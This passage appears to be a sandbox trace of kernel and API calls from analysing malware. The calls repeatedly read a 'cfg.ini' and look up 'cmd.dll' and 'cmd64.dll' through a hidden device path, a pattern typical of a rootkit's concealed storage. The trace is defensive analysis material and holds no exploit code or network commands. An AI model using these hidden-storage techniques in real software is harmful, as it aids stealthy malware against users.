[0119.303] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.303] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.303] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.303] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.303] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbfb0 [0119.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.303] KeLeaveCriticalRegion () [0119.303] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.303] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.303] KeEnterCriticalRegion () [0119.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.303] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.303] KeLeaveCriticalRegion () [0119.303] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.303] KeEnterCriticalRegion () [0119.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.303] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.303] IdePortDispatch () returned 0x103 [0119.303] KeWaitForMutexObject () returned 0x0 [0119.303] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.303] KeLeaveCriticalRegion () [0119.303] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.303] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.303] KeEnterCriticalRegion () [0119.303] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.303] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cce000 [0119.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.303] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.303] IdePortDispatch () returned 0x103 [0119.304] KeWaitForMutexObject () returned 0x0 [0119.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.304] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.304] IdePortDispatch () returned 0x103 [0119.304] KeWaitForMutexObject () returned 0x0 [0119.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.304] KeLeaveCriticalRegion () [0119.304] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.304] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.304] KeEnterCriticalRegion () [0119.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.304] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.305] KeLeaveCriticalRegion () [0119.305] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.305] KeEnterCriticalRegion () [0119.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.305] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.305] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.305] KeLeaveCriticalRegion () [0119.305] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.305] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.305] KeEnterCriticalRegion () [0119.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.305] ExFreePoolWithTag (P=0xfffffa8003bcbfb0, Tag=0x0) [0119.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.305] KeLeaveCriticalRegion () [0119.305] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.305] ReleaseMutex (hMutex=0xf0) returned 1 [0119.305] Sleep (dwMilliseconds=0x124f80) [0119.325] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.325] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.325] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.325] KeEnterCriticalRegion () [0119.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.325] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.325] IdePortDispatch () returned 0x103 [0119.326] KeWaitForMutexObject () returned 0x0 [0119.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.326] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.326] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.326] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.326] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.326] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.326] KeLeaveCriticalRegion () [0119.326] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.326] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.326] KeEnterCriticalRegion () [0119.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.326] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.326] KeLeaveCriticalRegion () [0119.326] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.326] KeEnterCriticalRegion () [0119.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.326] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.326] IdePortDispatch () returned 0x103 [0119.326] KeWaitForMutexObject () returned 0x0 [0119.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.326] KeLeaveCriticalRegion () [0119.326] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.327] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.327] KeEnterCriticalRegion () [0119.327] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.327] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd3000 [0119.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.327] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.327] IdePortDispatch () returned 0x103 [0119.327] KeWaitForMutexObject () returned 0x0 [0119.327] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.327] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.327] IdePortDispatch () returned 0x103 [0119.327] KeWaitForMutexObject () returned 0x0 [0119.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.327] KeLeaveCriticalRegion () [0119.327] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.328] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.328] KeEnterCriticalRegion () [0119.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] KeLeaveCriticalRegion () [0119.328] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.328] KeEnterCriticalRegion () [0119.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.328] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] KeLeaveCriticalRegion () [0119.328] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.328] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.328] KeEnterCriticalRegion () [0119.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.328] KeLeaveCriticalRegion () [0119.328] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.328] ReleaseMutex (hMutex=0xf0) returned 1 [0119.328] Sleep (dwMilliseconds=0x124f80) [0119.330] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.335] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.335] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.335] KeEnterCriticalRegion () [0119.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.335] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.335] IdePortDispatch () returned 0x103 [0119.335] KeWaitForMutexObject () returned 0x0 [0119.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.335] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.335] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.335] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.335] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.336] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb2b0 [0119.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.336] KeLeaveCriticalRegion () [0119.336] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.336] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.336] KeEnterCriticalRegion () [0119.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.336] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.336] KeLeaveCriticalRegion () [0119.336] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.336] KeEnterCriticalRegion () [0119.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.336] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.336] IdePortDispatch () returned 0x103 [0119.336] KeWaitForMutexObject () returned 0x0 [0119.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.336] KeLeaveCriticalRegion () [0119.336] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.336] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.336] KeEnterCriticalRegion () [0119.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.336] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf6000 [0119.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.336] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.336] IdePortDispatch () returned 0x103 [0119.336] KeWaitForMutexObject () returned 0x0 [0119.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.337] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.337] IdePortDispatch () returned 0x103 [0119.337] KeWaitForMutexObject () returned 0x0 [0119.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.337] KeLeaveCriticalRegion () [0119.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.337] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.337] KeEnterCriticalRegion () [0119.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.337] KeLeaveCriticalRegion () [0119.337] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.337] KeEnterCriticalRegion () [0119.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.338] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] KeLeaveCriticalRegion () [0119.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.338] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.338] KeEnterCriticalRegion () [0119.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] ExFreePoolWithTag (P=0xfffffa8003bcb2b0, Tag=0x0) [0119.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.338] KeLeaveCriticalRegion () [0119.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.338] ReleaseMutex (hMutex=0xf0) returned 1 [0119.338] Sleep (dwMilliseconds=0x124f80) [0119.348] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.348] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.348] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.348] KeEnterCriticalRegion () [0119.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.348] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.348] IdePortDispatch () returned 0x103 [0119.348] KeWaitForMutexObject () returned 0x0 [0119.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.349] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.349] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.349] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.349] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.349] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb460 [0119.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.349] KeLeaveCriticalRegion () [0119.349] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.349] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.349] KeEnterCriticalRegion () [0119.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.349] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.349] KeLeaveCriticalRegion () [0119.349] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.349] KeEnterCriticalRegion () [0119.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.349] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.349] IdePortDispatch () returned 0x103 [0119.349] KeWaitForMutexObject () returned 0x0 [0119.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.349] KeLeaveCriticalRegion () [0119.349] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.349] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.349] KeEnterCriticalRegion () [0119.349] ExAcquireFastMutexUnsafe (in: 